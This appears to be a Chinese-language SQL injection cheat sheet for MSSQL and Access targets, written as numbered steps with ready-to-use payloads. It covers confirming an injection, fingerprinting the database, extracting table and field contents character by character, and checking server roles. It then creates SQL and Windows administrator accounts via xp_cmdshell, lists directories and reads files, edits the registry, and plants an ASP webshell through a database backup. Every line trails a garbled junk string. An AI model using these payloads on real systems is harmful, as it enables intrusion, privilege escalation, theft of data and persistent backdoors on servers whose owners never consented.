1.判断是否有注入;and 1=1 ;and 1=2 ;9rTE|n
2.初步判断是否是mssql ;and user>0 ~Q!~ eTw
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3.注入参数是字符'and [查询条件] and ''=' tSw>@FM
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' I]sqi#h$2W
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5.判断数据库系统 %F$N#YG
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;and (select count(*) from sysobjects)>0 mssql =jIxI,
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;and (select count(*) from msysobjects)>0 access wr@GN8e`
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 3}M\c)
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 u&3EPu
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ]N\6h(**wy
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9.(1)猜字段的ascii值(access) eJf>"IF-
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 RdkU2Y}V
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(2)猜字段的ascii值(mssql) B/u*<k4
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 XWF7#xM
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10.测试权限结构(mssql) 1nXqi)&?;
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- r03I*b
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- '^lUL) R
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- +QupM
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- %g-0O#8}
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 3#<'[TF00t
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ~GYpat
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;and 1=(select IS_MEMBER('db_owner'));--
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11.添加mssql和系统的帐户 6#?NL]A
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;exec master.dbo.sp_addlogin username;-- g(aNyn
;exec master.dbo.sp_password null,username,password;-- -}AE\qXs/
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- {SHqW5VX
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;exec master.dbo.xp_cmdshell 'net user username password N7+#9S 5fv
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- d"p2Kx'*3
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- _H/67dcz,
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- S]. Ft/+H
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12.(1)遍历目录 6BR\iZ
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;create table dirs(paths varchar(100), id int) U!.~XT=
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;insert dirs exec master.dbo.xp_dirtree 'c:\' M@5KoMsB9
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;and (select top 1 paths from dirs)>0 O'@m4@L
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) rt,0j/o.1
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(2)遍历目录 &l?N:(r
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- a$laRtId7
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 3a/[."W
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 %h3L
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 #%:`p9p.S
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 zL6
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13.mssql中的存储过程 DXt]b,
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xp_regenumvalues 注册表根键, 子键 X9DM^tt
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 XTIu(f|d_;
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xp_regread 根键,子键,键值名 L,yA<yrC
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;exec xp_regread @*bvMEE
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 :QxL 9&"
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xp_regwrite 根键,子键, 值名, 值类型, 值 :P j W:]
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 v&k>0lV,^
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xp_regdeletevalue 根键,子键,值名 Xs{:[vRW
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 4!NfQk>X
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 $'WapxF
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14.mssql的backup创建webshell /UEV8 1
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use model 1}i&HIr!b
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create table cmd(str image); Gr`MGQ,
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insert into cmd(str) values (''); ?ZSXoy-kr
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backup database model to disk='c:\l.asp'; j;1~=j])
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15.mssql内置函数 [Ihp\!xqI
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;and (select @@version)>0 获得Windows的版本号 T#MA#H2
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa Sb@{f<3E
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;and (select user_name())>0 爆当前系统的连接用户 {bAWc.
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;and (select db_name())>0 得到当前连接的数据库 0A)
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16.简洁的webshell lM@<_=2
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use model &CB.*\0
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create table cmd(str image); 1qB!RIau
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insert into cmd(str) values (''); >N+bU{s
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backup database model to disk='g:\wwwtest\l.asp';